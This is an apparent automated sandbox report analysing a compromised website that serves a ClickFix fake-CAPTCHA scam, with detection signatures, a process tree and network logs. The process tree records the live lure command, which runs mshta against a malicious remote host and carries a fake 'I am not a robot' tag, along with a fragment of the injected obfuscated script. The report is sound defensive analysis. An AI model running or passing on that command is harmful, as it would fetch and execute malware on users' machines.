Create Interactive Tour

Windows Analysis Report
http://www.teubes.com

Overview

General Information

Sample URL:	http://www.teubes.com
Analysis ID:	1640560
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

AI detected suspicious Javascript

HTML page adds supicious text to clipboard

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6092 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1952,i,15722657735806638615,8437383274998080534,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6056 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.teubes.com" MD5: E81F54E6C1129887AEA47E7D092680BF)

cmd.exe (PID: 6000 cmdline: cmd /K mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585'' MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 6208 cmdline: mshta https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 # ''I am not a robot - ??????? Verification ID:863585'' MD5: 06B02D5C097C7DB1F109749C45F3F505)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
0.3.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
0.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://check.xemyrai6.icu/	Avira URL Cloud: Label: malware
Source: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0	Avira URL Cloud: Label: malware
Source: https://check.xemyrai6.icu/gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0EVEL=6PROCESSOR_REVISI	Avira URL Cloud: Label: malware

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.7.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It appears to be a malicious script that collects user data and potentially executes arbitrary commands on the user's system. The script uses techniques like string obfuscation and dynamic variable names to hide its true purpose, which is a strong indicator of malicious intent.

Source: https://www.teubes.com/

HTTP Parser: Base64 decoded: const _0x27df16 = _0x54e4;(function (_0x273032, _0x32ad22) { const _0x18b3cc = _0x54e4, _0x38b5fa = _0x273032(); while (!![]) { try { const _0x44920e = -parseInt(_0x18b3cc(0xfb)) / (-0x22d7 + -0x2288 + 0xc * 0x5c8) + -parseInt...

Source: https://www.teubes.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdkZjE2ID0gXzB4NTRlNDsKKGZ1bmN0aW9uIChfMHgyNzMwMzIsIF8weDMyYWQyMikgewogICAgY29uc3QgXzB4MThiM2NjID0gXzB4NTRlNCwgXzB4MzhiNWZhID0gXzB4MjczMDMyKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://www.teubes.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdkZjE2ID0gXzB4NTRlNDsKKGZ1bmN0aW9uIChfMHgyNzMwMzIsIF8weDMyYWQyMikgewogICAgY29uc3QgXzB4MThiM2NjID0gXzB4NTRlNCwgXzB4MzhiNWZhID0gXzB4MjczMDMyKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://www.teubes.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdkZjE2ID0gXzB4NTRlNDsKKGZ1bmN0aW9uIChfMHgyNzMwMzIsIF8weDMyYWQyMikgewogICAgY29uc3QgXzB4MThiM2NjID0gXzB4NTRlNCwgXzB4MzhiNWZhID0gXzB4MjczMDMyKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn

Source: https://www.teubes.com/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 142.250.185.68:443 -> 192.168.2.7:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.54:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 196.40.97.147:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.36:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.142.245:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.66:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.70:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.77.48:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.250.251.119:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.77.48:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.214:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.212.130:443 -> 192.168.2.7:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.88.21.119:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 137.187.172.126:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.147.188:443 -> 192.168.2.7:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.7:49798 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMnczgEIrd7OAQiE4M4BCKLkzgEIr+TOAQjp5M4BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.teubes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-lightbox-2/styles/lightbox.min.css?ver=1.3.4 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.7.3 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/rubbersoul/style.css?ver=2.3.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dashicons.min.css?ver=6.1.7 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/rubbersoul/css/font-awesome-4.7.0/css/font-awesome.min.css?ver=6.1.7 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer_old/assets/css/js_composer.min.css?ver=6.2.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.1 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer_old/assets/lib/vc_carousel/css/vc_carousel.min.css?ver=6.2.0 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /proof/wp-content/uploads/2015/06/teubes1.png HTTP/1.1Host: teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/1eOe_vR2IMQ?feature=oembed HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Browser-Channel: stableX-Browser-Year: 2025X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q=X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved.X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/07/Teubes-Out-of-Africa-Banner.jpg HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/Citrus-Oils-Teubes-Oils-South-Africa.jpg HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.3 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /proof/wp-content/uploads/2015/06/teubes1.png HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.3 HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /releases/v5.0.0/css/all.css HTTP/1.1Host: use.fontawesome.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/6b3caec8/www-player.css HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembedAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
